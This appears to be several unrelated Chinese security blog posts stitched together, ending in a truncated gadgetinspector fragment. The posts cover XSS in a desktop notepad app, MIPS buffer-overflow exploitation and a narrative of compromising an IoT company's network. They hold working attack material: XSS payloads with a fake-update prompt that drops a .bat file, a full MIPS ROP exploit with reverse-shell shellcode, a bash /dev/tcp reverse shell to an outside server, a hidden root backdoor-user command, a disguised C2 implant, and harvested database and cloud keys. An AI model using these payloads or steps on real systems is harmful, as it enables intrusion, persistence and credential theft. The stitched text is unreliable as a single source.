从XSS到“RCE”的PC端利用链构建
前言
先铺垫一下。笔者有一个习惯,懒得记各种命令和payload,手工渗透测试时,遇到比较长的payload的情况下,不想一个一个地去手敲命令,于是我之前就在github上想寻找一个类似于记事本的软件,但是最好和我的记录命令的需求适配,于是就找到了一位师傅写的开源项目,一个专门用来记录命令的记事本,一直沿用至今,很方便哈哈
偶然邂逅
昨天,我在逛一些技术帖子的时候,看到一位大师傅分享的XSS payload,当时觉得这个payload我没咋见过捏,于是就想着来分析分析,我们看看这个payload妙在哪些地方?
<input style=content-visibility:auto oncontentvisibilityautostatechange="alert(1)">
1. 利用冷门事件,规避黑名单过滤
经典绕过手法,使用冷门事件规避黑名单,oncontentvisibilityautostatechange 是一个与 content-visibility CSS属性关联的事件,很少被XSS防御规则收录。传统过滤器通常针对常见事件(如onload、onerror)。于是此事件因冷门性更易绕过检测。并且,当元素的content-visibility状态如从隐藏变为可见时,事件会自动触发,无需用户交互,就能实现"静默"攻击。
2. 合法CSS属性掩护恶意逻辑
合法的样式属性content-visibility: auto 是标准的性能优化CSS属性,用于延迟渲染非视口内容。该属性本身无害,可轻松通过内容安全策略(CSP)或过滤器的白名单检查。样式与事件逻辑紧密结合,攻击行为被隐藏在合法功能中
3. input低风险标签优势
使用<input>标签相比于<script>或<img>等高风险标签,<input>通常被视为安全元素,可能会被更大程度地允许在用户输入中使用(如评论框),从而绕过标签黑名单。
于是,这么好的payload,按照笔者的习惯那肯定得记录下来呀,又多积累了一个绕过的payload。
于是我把这个payload贴到这个工具上去(windows客户端版本)
结果,惊喜出现了,这个客户端居然直接弹窗了,执行了该payload
有点意思
临时抱佛脚
XSS在web端的利用面其实不算很多,盗cookie,钓鱼,挂马,水坑,结合CSRF打组合拳,蠕虫等等,但是客户端的XSS利用面就很广了,在一定条件下甚至能直接RCE!
客户端的XSS大致能怎么利用呢?我也不会,PC端的东西还没有系统学习过,问一下AI呗,主打一个现学现用哈哈哈(大佬们轻喷)
下面简单总结一下,抛砖引玉:
1. 系统级权限逃逸(RCE)
Electron/Node.js场景
若客户端基于Electron框架且未启用nodeIntegration: false等安全配置,XSS可直接调用child_process模块执行系统命令。
示例:<script>require('child_process').exec('calc.exe')</script>弹出计算器
Java WebView/JNI调用:
Android WebView若启用setJavaScriptEnabled(true)并绑定Java接口,XSS可通过反射调用敏感API。
2. 本地敏感数据窃取
本地文件系统遍历:
利用FileReader/fetch读取客户端配置文件(如file://协议访问),窃取数据库凭证或加密密钥。
案例:读取Electron应用的localStorage.json或IndexedDB数据。
剪贴板劫持:
监控document.oncopy/onpaste事件,篡改加密货币钱包地址实现资产转移。
3. 硬件设备控制
摄像头/麦克风滥用:
通过navigator.mediaDevices.getUserMedia()静默启用设备,实现监控。
蓝牙/USB渗透:
调用客户端绑定的硬件API(如Web Bluetooth),扫描配对设备并注入恶意固件。
4. 客户端供应链污染
自动更新劫持:
篡改客户端自动更新逻辑(如替换update.json),强制下载捆绑恶意代码的版本。
插件系统攻击:
针对插件化架构(如VSCode扩展),通过XSS注入恶意插件代码实现持久化。
5. 横向移动与组合攻击
自定义协议滥用(Deep Link):
利用myapp://协议调用其他应用,结合已知漏洞链扩大攻击面(如启动存在RCE漏洞的PDF阅读器)。
内存漏洞触发:
通过XSS精准覆盖缓冲区,触发客户端依赖库的0day漏洞(如旧版Chromium漏洞)。
6. 社会工程增强
高仿系统弹窗:
利用客户端GUI特性伪造系统权限请求窗口(如"输入密码以更新"),诱导用户泄露敏感信息。
本地网络探测:
通过WebRTC获取内网IP,扫描局域网设备(如路由器管理界面),结合默认凭据进一步渗透。
曲线救国
一下列举了这么多利用思路,好多我也不会哈哈,不过没关系,遇到了再去利用再去深入学习嘛
于是我尝试看看我这个案例能不能RCE呢……
其实最直接RCE的方式就是,当客户端基于Electron框架且未启用nodeIntegration: false等安全配置时,直接就能构造出RCE的payload了,而且可以做到无感RCE,就是不需要用户有过多的交互。
<input style=content-visibility:auto oncontentvisibilityautostatechange="require('child_process').exec('calc.exe')">
但是……很遗憾,这个工具不是基于Electron框架开发的,上面的payload不适用。那么就基本无法实现无感RCE了
不过可以这样,曲线救国,实现一个比较鸡肋的"RCE",就是需要用户的一些交互才能完成。
比如,写入一个bat文件,取名叫什么update.bat,欺骗用户保存bat文件,并点击运行,严格来说不能算真正的RCE,因为客户端的RCE强调无感,我这个只能算曲线救国
我们直接构造一个写入bat文件的payload(但是需要用户手动保存)
<input style=content-visibility:auto oncontentvisibilityautostatechange="(async()=>{const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /min calc.exe');await w.close();})()">(async()
const f = await window.showSaveFilePicker({
suggestedName: 'update.bat',
types: [{accept: {'application/bat': ['.bat']}}]
});
const w = await f.createWritable();
//创建可写流,f.createWritable()生成写入流,避免一次性加载内容到内存。
await w.write('start /min calc.exe');
//写入恶意命令,start /min calc.exe 会以最小化窗口启动计算器,实际攻击中可替换为恶意脚本
await w.close();
})()
简单分析一下payload的逻辑:
用到的核心API是showSaveFilePicker
他是现代浏览器API,用于请求用户保存文件,弹出系统级保存对话框。
关键参数
suggestedName: 'update.bat'
types: [{accept: {'application/bat': ['.bat']}}]
使用文件名伪装suggestedName: 'update.bat'利用系统更新文件的命名习惯降低用户戒心
MIME类型欺骗,声明types: [{accept: {'application/bat'类型,绕过对text/plain或application/octet-stream的过滤
扩展名锁定,强制指定types: [{accept: {'application/bat': ['.bat']}}]扩展名,确保文件可执行性
恶意内容注入,使用createWritable + write的方式来写入文件 const w = await f.createWritable();
流式写入,采用WritableStream API避免内存中拼接完整文件内容,规避基于内容长度的检测
现在效果是这样的
1. 点击payload标签栏,就能触发xss代码,自动弹窗资源管理器,保存update.bat文件,但是这一步需要用户确认保存
2. 保存之后,还是需要用户自己去运行bat文件才能弹出计算器
3. 很鸡肋是不是哈哈,于是我们需要加入弹窗,欺骗一下下受害者
<input style="content-visibility:auto" oncontentvisibilityautostatechange="(async()=>{if(confirm('是否保存更新文件 update.bat?')){const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /min cal
4. 这样要稍微好一点点
<input style="content-visibility:auto" oncontentvisibilityautostatechange="(async()=>{alert('当前版本过旧,可能存在漏洞险,请下载更新程序更新到最新版本!'); const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /mi
5. 点击payload标签栏,触发xss代码弹窗,提示版本老旧,存在漏洞风险更新
6. 只有一个按钮,用户不得不点确定,然后就会自动写入update.bat文件
但是需要用户手动保存
7. 然后保存之后,就会弹窗提示用户执行
8. 假如用户执行了,那么就能执行里面的恶意代码了(需要免杀)
这个案例再次印证了安全领域的"海因里希法则"——每起严重漏洞背后,必然有29次轻微漏洞和300起未遂先兆。那些看似无害的XSS payload记录行为,恰恰成为了攻击链的关键支点。当我们惊叹于APT攻击的精妙时,不妨多审视日常开发中的"便利性妥协",或许正是这些细微处的风险累积,最终筑成了攻防天平倾斜的转折点。
最后挣扎
其实,我感觉想要做到无感RCE还有一种更直接的办法,就是直接去审计这个项目的源码啊!可以找找前后端有没有什么危险函数,能够通过js调用执行,并且能逃逸出沙箱,执行系统命令的地方。经过对后端代码的审计,没有发现什么可控的地方,唯一可控的就是配置文件的内容,但后端都写死了,无明显的危险操作,无法无感RCE
后记
ok,到此全篇结束。本文没有什么太大的技术含量,纯粹比较有趣(对我来说),甚至是现学现卖的哈哈。短期内,其实用处不是很大,但是我个人觉得,往往正是这些无用之用,这些学安全路上的小发现、小惊喜才是支撑我们夜以继日、废寝忘食地搞安全的最大动力!也正是这些无用之用,我们才一点一点成长成如今的模样……
晚辈技术浅陋,行文难免不当,还请师傅们多多指教!
MIPS栈溢出:ROP构造与Shellocde注入
0.前言
前段时间写了DVRF系列的题目,对rop的构造感觉还是有点力不从心,所以深入学习一下怎么构造rop链
注意,全程复现应该用ubuntu16.04,不要用18.04或者20.04,不然很有可能会导致后面的gadget找不到
程序至少也要在ubuntu16.04交叉编译,不然直接在ubuntu18.04或者更高版本下,都有可能有gadget找不到的后果....
1.MIPS32架构堆栈
跟一般的x86架构不同,mips32架构的函数调用方式与x86系统有很大差别,比如说
mips没有栈底指针,也就是ebp,所以当函数进栈的时候,都是需要将当前指针向下移动n个比特,也就是该函数在堆栈空间所存储的大小n,后面就不再移动指针了,只能在函数返回时将栈指针加上偏移量去恢复栈现场,所以寄存器压栈和出栈的时候都需要指明偏移量
参数传递的方式也跟x86不一样,x86是直接压入栈中,而mips是前4个传入的参数通过$a0-$a3寄存器传递,如果参数超过了4个,那么多余的参数会放入调用参数空间
返回地址也不一样,x86调用函数,就是把函数的返回地址压入堆栈中,而mips是把返回地址放入到$ra寄存器中
2.MIPS函数调用
这里引入一个概念叶子函数和非叶子函数
如果一个函数A中不在调用其他任何函数,那么当前函数A就是一个叶子函数,否则就是非叶子函数
当函数A调用函数B的时候:
首先,call指令会复制当前$PC寄存器的值到$RA寄存器中,然后再跳转到B函数并执行
然后这里要判断B函数是否是叶子函数:
如果是非叶子函数,那么是会把放在$RA寄存器中的函数A的返回地址放到堆栈中
如果是叶子函数,那就不用动,函数A的返回地址还是在$RA寄存器中
函数B执行完之后要返回到函数A时
如果是非叶子函数,就要先从堆栈中把函数A的返回地址取出来,然后存到寄存器$RA中,再使用jr $ra跳转到函数A
如何函数B是叶子函数,就直接jr $ra返回函数A
2.1 函数调用参数传递
#include<stdio.h>
int test(int a,int b,int c,int d,int e,int f,int g);
int main()
{
int v1=0;
int v2=1;
int v3=2;
int v4=3;
int v5=4;
int v6=5;
int v7=6;
test(v1,v2,v3,v4,v5,v6,v7);
return 0;
}
int test(int a, int b, int c, int d, int e, int f, int g)
{
char s[50]={0};
sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);
}
根据刚刚所说的,test函数中有7个参数,前4个参数存放在$a0-$a3寄存器中,后3个参数放入main函数栈顶预留调用参数空间中
在ida静态分析可以看出,main函数分配了7个临时变量
其中var_10-var_1C都是要放在$a0-$a3寄存器中,而剩下的var_30,var_34,var_38要从临时变量取出,存储到main函数预留的调用参数空间
动态调试看看,在sprintf函数处下个断点,那边ubuntu开启qemu模拟,这边ida远程动态链接
sudo chroot . ./qemu-mips-static -g 1234 ./mips-test
当main调用test(v1-v7)时,调用者main会先将前4个参数正序存入$a0-$a3寄存器,再将第5-7个参数按正序压入自己的栈空间,低地址对应v5,高地址递增存放v6、v7
当test内部调用sprintf需要传递9个参数时,test会自行将前4个参数正序存入$a0-$a3,剩余5个参数按正序压入自己的新栈空间,整个过程参数始终按源码中的从左到右顺序传递,且每个函数仅操作自己的寄存器或栈空间,不会涉及其他函数的栈帧,而main 传递的 $a0-$a3,也就是v1-v4在 test 调用 sprintf 时被覆盖,但这些值已通过寄存器或 test 的局部变量(a, b, c, d)保存,因此不会丢失
在 MIPS 调用约定中,main 函数通常不会主动取出或恢复存放到寄存器 $a0-$a3 中的参数值
以下这张图堆栈图是上述程序代码中,main函数调用了test函数之后,还需要原来的寄存器$a0-$a3的值,才会把4个寄存器压入到栈中
2.2 MIPS缓冲区溢出
x86架构下,返回地址一般是放入到堆栈中,所以栈溢出可以劫持程序的执行流
mips架构函数的返回地址一般都是在$ra寄存器中,同样也有栈溢出的风险
非叶子函数
#include<stdio.h>
void stack(char *src){
char a[20]={0};
strcpy(a,src);
}
int main(int argc,char *argv[]){
stack(argv[1]);
return 0;
}
由前文所知,stack函数是个非叶子函数,所以进入stack函数之后会把main函数的返回地址放入到自己的堆栈底部中,在返回main函数的时候,就会取出堆栈中的返回地址并写入$ra寄存器,然后跳转到main函数
所以如果stack函数的局部变量发生缓冲区溢出,就有可能覆盖掉main函数的返回地址,从而被劫持程序执行流,这一点跟x86是一样的
叶子函数
#include<stdio.h>
void stack(char *src, int count){
char s[20]={0};
int i=0;
for(i=0;i<count;i++){
s[i]=src[i];
}
}
int main(int argc,char *argv[])
{
int count=strlen(argv[1]);
stack(argv[1],count);
return 0;
}
由前文所述,stack函数此时是个叶子函数,main函数的返回地址并不会存放到stack函数自己的堆栈空间中,而是放到了$ra寄存器中,所以在ida显示的汇编语言中,可以看到stack函数在执行最末尾的jr $ra指令之前,都没有对$ra寄存器有任何的操作
所以如果按照x86或者非叶子函数那样的溢出方法,是无法覆盖掉main函数的返回地址的,因为无法操作寄存器$ra
但是呢,如果缓冲区溢出覆盖区域足够大,大到能覆盖掉main函数栈帧中存放的上层函数的返回地址,因为main函数也是个非叶子函数,上层函数的返回地址被main函数放在它自己的堆栈中,所以叶子函数也是可以存在缓冲区溢出的风险的,只要覆盖的数据足够大
举一个完整的例子
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int fileLen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
fileLen=fileData.st_size;
else
return 1;
if((fp=fopen("passwd","rb"))==NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count<=fileLen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -L");
}
else
{
printf("you have an invalid passord!\n");
}
fclose(fp);
}
危险函数do_system是一个非叶子函数,main函数也是一个非叶子函数
具体功能是从passwd文件中读取密码,如果密码是"adminpwd",就列出当前目录,否则就显示密码错误并退出程序
创建一个passwd文件然后向其写入500个垃圾数据,然后运行qemu编译过的程序,可以发现程序报错了
python -c "print 'A'*500" > passwd
所以开启一个端口进行远程动态调试,因为ubuntu18.04的原因,导致pwndbg一直报错,无奈只能ida进行远程动态调试了
所以这里配置主要就是ubuntu16.04和ida pro 7.5
不用下断点,直接动态运行,让其崩溃,看看那500个垃圾数据是否能覆盖到内存空间里面
注意这里要关闭掉各种保护,特别是canary保护,不然垃圾数据覆盖不了
mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_systemsudo chroot . ./qemu-mips-static -g 1234 ./vuln_system
可以看到不仅是内存空间,就连PC寄存器,$ra寄存器,堆栈空间都被覆盖成了垃圾数据,所以这里肯定有栈溢出漏洞,毕竟PC都已经被劫持了
确定可以劫持PC之后,就要精准确定多少字节可以使PC指向期望的地址,也就是要确定偏移量
一般来说用大型字符脚本去确定,通过建立大型字符,然后任取4连续4位,这4位的值在大型字符里面是唯一的,找出覆盖到PC的4个字符在字符集合里面的偏移就可以找到偏移量,通常都是用patternLocOffset.py这个脚本去进行确定
https://github.com/desword/shellcode_tools/blob/master/patternLocOffset.py生成1000个垃圾字符到passwd
python patternLocOffset.py -c -l 1000 -f passwd
然后ida动态远程调试,直接让其崩溃,确定PC的地址
可以看到$ra寄存器崩溃的位置在0x34416e35的位置,然后再用patternLocOffset.py去通过劫持的PC地址确定精准偏移量
python patternLocOffset.py -s 0x34416e35 -l 1000
也就是填充404(0x194h)个字节后就可以精准劫持PC了
验证一下
python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd
可以看到PC和$ra寄存器已经被覆盖成我们想要的BBBBCCCC地址了,这说明404个字节是没错的
确定偏移还有一种方法是栈帧分析,通俗来讲就是静态分析,通过ida显示的数据进行计算得到偏移量
但是我不推荐这种方法,虽然网上还有书上都说可以,但其实我自己去复现了之后发现是行不通的,偏差差太多了,有可能是ida的缘故,也有可能是程序本身在编译的过程中受不同环境影响而偏差,比如说上述例子代码在ida静态分析中计算出来的偏移量就和动态分析出来的不一致,这种情况下还是要以动态的为主,那干脆就一步到位直接动态去确定偏移量就没错了
确定好偏移量之后,就可以确定攻击途径了
根据源代码,该漏洞可以用命令执行,毕竟有一个do_system()函数,或者写shellcode进行攻击
2.2.1 命令执行
这里先介绍命令执行攻击
所以就得跟x86一样构造ROP链,do_system(count,"ls -L")函数有两个参数,由IDA可知其地址为0x00400880
根据前文所说,我们需要找到可以把参数放入$a0和$a1寄存器的gadget
而count是固定字符串,所以只需要找到$a1寄存器的gadget即可
直接在ubuntu用ROPgadget找$a1寄存器的gadget找出来一大堆,而且感觉ROPgadget用来找mips架构的不太好找,不像x86_x64那么方便
所以直接在ida用mipsrop找了
下面这张图是用ubuntu16.04进行mips的交叉编译之后得到的程序所找的gadget,一共是19个gadget
而在此之前,我用了ubuntu18.04进行mips交叉编译得到程序去寻找gadget,只能找到13个
虽然两者都只能找到3个有关$a1寄存器的gadget,但是呢ubuntu18.04那边的gadget最后都只跟$t9寄存器相关
虽说$t9寄存器的值是MIPS程序的函数的起始地址,也就是说MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址,也就是说理论上$t9寄存器可替代$ra控制程序流,但是那得先确保程序中通过 jalr $t9或者类似指令跳转的代码,比如说动态连接函数调用,并且我们还能控制$t9寄存器的值
又或者$t9寄存器的值被保存到堆栈中,且该值可被覆盖,那么这些都是可以控制$t9达到$ra的目的的条件,但很明显,这个例子不具备上述条件,所以自然攻击失败
mipsrop.stackfinders()是一个针对 MIPS二进制文件 的辅助分析命令,帮助漏洞利用开发者快速定位与栈操作相关的ROP gadget
由上到下,我们就选取最后一共0x004474BC地址的gadget,因为其他的gadget要么没有$ra寄存器跳转,要么中间隔得十分远,所以最后一个是最合适的
从gadget看出,我们只要在$sp+0x54+var_3C中构造好字符串,$a1寄存器便可输入我们想要的命令字符串,然后在jr $ra语句时把$ra寄存器覆盖成跳转到do_system函数的地址也就是0x00400A80即可完成整个payload
payload:
exp.py:
import struct
print("[*] prepare shellcode")
cmd = "sh"
cmd += "\00"*(4-(len(cmd) %4)) # 栈对齐
shellcode = "A"*0x194
shellcode += struct.pack(">L",0x004474BC)
shellcode += "A"*0x18 #0x18=24
shellcode += cmd
shellcode += "B"*(0x3C - len(cmd))
shellcode += struct.pack(">L", 0x00400A80)
print("OK!")
print("[+] create password file")
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print("ok")
2.2.2 Shellcode
所谓的shellcode就是在缓冲区溢出攻击中植入进程的代码,可以获取shell,执行命令,开启端口等等
一般来说,我们要获取shellcode要么网上搜,要么自己写一个C程序编译后反编译提取汇编指令
而由上述的分析可知,vuln_system存在缓冲区溢出且可以造成命令注入,所以如果要用shellcode攻击的话,可以用execve shellcode让嵌入shellcode的程序运行一个应用程序
但是shellcode可能会遇到NULL的限制导致复制到缓冲区的shellcode是不完整的,所以得进行优化一波,避免出现NULL这样的坏字符
我们还可以建立一个反向连接的shellcode,用来在一个被攻击系统和另一个系统之间建立连接,然后把execve shellcode注入进去,达到命令注入攻击的目的
那就需要socket connect dup2和execve 的shellcode,然后使用NetCat工具,也就是我们常说的NC进行端口监听,看看shellcode有没有成功注入进去
但是这里如果用windows版的nc,都会被Windows defender给杀掉.......最后换了kali,同时要保证kali和ubuntu之间能ping通
通过最开始垃圾数据命令可知,再把0x194个A覆盖后,B覆盖了$ra寄存器和pc寄存器,而C覆盖了后面的地址
所以可以利用C覆盖的这部分地址把B覆盖的放返回地址的寄存器给覆盖了,挟持程序执行流到C覆盖处,而C覆盖处就写入编写好的shellcode
当前栈顶的值是0x7FFFEF90,但是这个堆栈是变化的,所以每一次测试都得重新定位
完整exp_shellcode.py:
import struct
import socket
def makeshellcode(hostip,port):
host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])
hosts=struct.unpack('cccc',struct.pack('>L',host))
ports=struct.unpack('cccc',struct.pack('>L',port))
mipshell="\x24\x0f\xff\xfa" #li t7,-6
mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zero
mipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3
mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3
mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socket
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)
mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)
mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffd
mipshell+="\x01\xe0\x78\x27" #nor t7,t7 zero
mipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)
mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90
mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90
mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)
mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01
mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101
mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)
mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30
mipshell+="\x24\x0c\xff\xef" #li t4,-17
mipshell+="\x01\x80\x30\x27" #nor a2,t4,zero
mipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connect
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\x24\x11\xff\xfd" #li s1,-3
mipshell+="\x02\x20\x88\x27" #nor s1,s1,zero
mipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)
mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loop
mipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\x24\x10\xff\xff" #li s0,-1
mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1
mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 <dup2_loop>
mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
mipshell+="\x3c\x0f\x2f\x2f" #lui t7,0x2f2f "//"
mipshell+="\x35\xef\x62\x69" #ori t7,t7,0x6269 "bi"
mipshell+="\xaf\xaf\xff\xec" #sw t7,-20(sp)
mipshell+="\x3c\x0e\x6e\x2f" #lui t6,0x6e2f "n/"
mipshell+="\x35\xce\x73\x68" #ori t6,t6,0x7368 "sh"
mipshell+="\xaf\xae\xff\xf0" #sw t6,-16(sp)
mipshell+="\xaf\xa0\xff\xf4" #sw zero,-12(sp)
mipshell+="\x27\xa4\xff\xec" #addiu a0,sp,-20
mipshell+="\xaf\xa4\xff\xf8" #sw a0,-8(sp)
mipshell+="\xaf\xa0\xff\xfc" #sw zero,-4(sp)
mipshell+="\x27\xa5\xff\xf8" #addiu a1,sp,-8
mipshell+="\x24\x02\x0f\xab" #li v0,4011 #sys_execve
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
return mipshell
if __name__ == '__main__':
print '[*] prapare shellcode',
cmd="sh"
cmd+="\x00"*(4-(len(cmd)%4))
payload="a"*0x194
payload+=struct.pack(">L",0x7ffff5d0)
payload+=makeshellcode('192.168.119.149',8888)
print ' ok'
print '[+]create password file',
fw=open('passwd','w')
fw.write(payload)
fw.close()
print ' ok'
ubuntu现在停止不动了,但是shellcode已经执行完成了,可以在nc那边输入命令看到
这里端口号4444我试了很多次,均监听不到,后来改为8888就可以了,猜测有可能是端口占用了
从登录封锁到打穿内网沦陷整个C段
外网打点
OK!又是经典开局,一个登录框,看样子是某个IOT管理系统
于是先去搜索了几个关键字看看有无Nday,无果,没事不慌,没有Nday就活不了了嘛?
于是直接硬干,试试弱口令,前端逻辑绕过,SQL万能密码……
结果发现泥煤的,还真是活不了
尝试登录时,直接爆系统错误,后端请求验证码的接口压根就异常了,直接不让你登录,就算得到了账号密码也登录不上去,因为验证码这一步的登录逻辑缺失,猜测应该是后台存在什么漏洞,或者前台是弱口令,系统被攻击了,让开发去修漏洞,开发为了省事或者不知道咋修,就直接把验证码禁用了,不让你登录,以前遇到几个若依的系统也是这样……
那我们就没办法了吗?
直接来一套API接口,HTML源码,JS源码审计一条龙测试,好吧还真没办法,仍旧无果
都整不出来咋搞呢……
这时候我一般会去扫目录,扫端口,往往可能会打开新的攻击面,当然这也是老生常谈了
于是经典用ffuf扫一扫,除了302跳转到本网页之外没有任何东西……不急不急,再试试一定有突破口的(想骂人了)
无奈之下,本来都打算快放弃了,临走之前想着再端口扫描下吧?唉!还真扫出了一个9090端口,这不就柳暗花明了嘛
点开一看,wc?这不是XXLJOB吗,这个可以尝试打一下的,有好几个Nday呢
有如下几个Nay,可以RCE的
xxl-job api未授权Hessian2反序列化 <=2.0.2
XXL-JOB executor未授权访问漏洞 <=2.2.0
xxl-job <=2.3.1 存在 SSRF 漏洞
于是我们先看看版本:前台右键搜索源码里的关键字:"admin_version"
很遗憾,版本是2.4.1的高版本,不能直接打这几个RCE的day
但是都到这里了,我们就这么算了吗?肯定不是呀
熟悉的师傅都知道,xxl-job默认密码是admin / 123456 那我们直接尝试一手默认口令,如果真的进了后台也是可以直接RCE的
也是老天眷顾,狗运来了,直接默认口令进去了!
GetShell
那么话不多说直接后台新建任务,可以直接执行系统命令反弹shell:
新增执行任务
运行模式选shell,cron表达式自行决定,例如:0 0 0 * * ?,每天午夜 0 点 0 分 0 秒(00:00:00)触发任务
保存,来到IDE
可以直接写一个反弹shell的命令
#!/bin/bash
/bin/bash -i >& /dev/tcp/11.111.11.111/1234 0>&1
vps监听1234端口
nc -lvvp 1234
成功回弹shell
哟西,还是root权限,提权都省了,巴适
权限维持
(当时没考虑太多,就只简单做了一下权限维持)
添加一个后门用户root权限,以免被发现xxl-job权限掉了
useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0 -g root -G root -s /bin/bash -d /system
用新建的后门用户连接一下ssh,连接时可以挂个代理
连接成功
看看性能配置
wc,还是32G的运存,512G的硬盘
上线C2
权限维持之后呢,上线C2建立节点,便于后渗透操作
使用vshell 建立反向TCP监听
生成linux_amd64载荷
我喜欢重命名为一个看似正常的文件 bak
赋予执行权限
chmod +x bak
后台一直执行
nohup ./bak > nohup.out 2>&1 &
耐心等待一下上线,成功上线!
代理
建立C2节点之后呢,穿一个socks5代理出来
本机使用proxifier配置好全局代理规则,就可以直接请求对应的内网地址了
信息收集
上传netspy扫一下网段存活,可以看到有大量网段存活,先记录一下待会拿去fscan扫一扫
再看看有没有docker容器运行
docker ps
docker开了许多服务
其中mysql就是docker启动的,我们可以直接进入到mysql容器里执行mysql命令,从而就直接获取到mysql权限
# 进入容器内的 MySQL Shell
docker exec -it mysql_container_name mysql -uroot -p
不过如果觉得这样不够直观我们还可以去翻找mysql数据库配置文件,既然是docker启动的mysql,那么数据库密码在docker-compose.yml配置文件里
成功找到用户名mysql,密码Zxxxxxxx
直接拿去密码复用一下,用mysql的密码,登录root账号
数据库
也是成功登录root,mysql root权限+1
一共有16个数据库,其中还有nacos
上传免杀fscan,直接扫一波C段,都是存活的
东西还不少
获取权限
Nacos权限
nacos未授权访问,查看用户,看来已经有前人的足迹了
未授权直接创建一个用户 nacos3,进去翻垃圾吃
10条配置信息
mysql权限
发现mysql数据库用户名和密码,mysql数据库root权限+1
redis权限
redis权限+1
es权限
es权限+1
ftp权限
ftp+1
三方短信权限
第三方短信平台权限+1
tdengine权限
tdengine权限
kafka权限
kafka权限+1
百度谷歌地图权限
百度地图AK+1,谷歌Key+1
IOT设备权限
API密钥AK/SK,IOT设备权限+1
OSS权限
OSS AK/SK权限+1
OSS AK/SK权限+1
OSS AK/SK权限+1
阿里云短信权限
阿里云短信平台 AK/SK
RocketMQ权限
RocketMQ未授权+1
KafkaServer权限
KafkaServer权限
zk权限
zk权限
Memcached权限
Memcached未授权
使用本地搭建的MemAdmin读取数据,是一些邮箱和服务器地址而已
横向移动
让我有点小激动的是,fscan的扫描结果显示,整个C段下居然几乎每个主机都部署了XXL-JOB系统,而且经过我的尝试,都是清一色的弱口令!admin / 123456。真的是纯狗运【双手合十】【双手合十】【双手合十】
(每个主机都部署了XXL-JOB的fscan扫描截图忘记截图了)
简单列举几个
61主机
31主机
209主机
反弹shell,都是root权限
凭借运气+fscan,脚本小子获取到了几乎整个C段主机的权限,当然还有大量的各种web系统的Nday没有去看了,太多了
其实是因为代理不稳定,或者是网络问题。代理特别的慢,导致内网遨游很不顺畅(这也是我为什么要上传工具到受害主机上去,而不在本地通过代理去扫描的原因),特别难受,半天加载不出来,于是就没有继续利用了……
小结
到此,全篇结束。本篇没有什么很高级的红队技巧,全凭狗运,因为笔者红队技术菜,行文以及渗透时有许多地方考虑不周,欢迎各位大佬在评论区留言指教,晚辈感激不尽。但是当成一个新手师傅入门的渗透案例看看我觉得还行,于是就发了出来,下次再见师傅们!
从字节码开始到ASM的gadgetinspector源码解析
Intro
目前在CTF比赛中,对于Java反序列化基本上靠codeql、tabby等工具分析利用链,tabby基于字节码的特性会更准确一些。而gadgetinspector作为一个有些年头的基于ASM对字节码进行分析的自动化反序列化链挖掘工具,虽然在实际场景使用中用到的不算很多,但是经过一些功能上的补足和二开后也提高了一部分的准确率。我们主要通过二开后的gadgetinspector来学习一下作者是如何通过ASM来对字节码进行处理并跟踪污点流进行分析。在分析gadgetInspector之前,我们要先对字节码的相关结构有一些了解,所以我们可以按照字节码的固定架构使用十六进制编辑器查看一下字节码中到底存
二开后的GadgetInspector:https://github.com/threedr3am/gadgetinspector
字节码分析
我们以如下类进行分析:
package com.y1zh3e7.Test;
public class ClassTest {
public static void main(String[] args) {
String sayHello = "Hello World!";
}
}
编译后class文件扔到hex编辑器里查看十六进制方便分析:
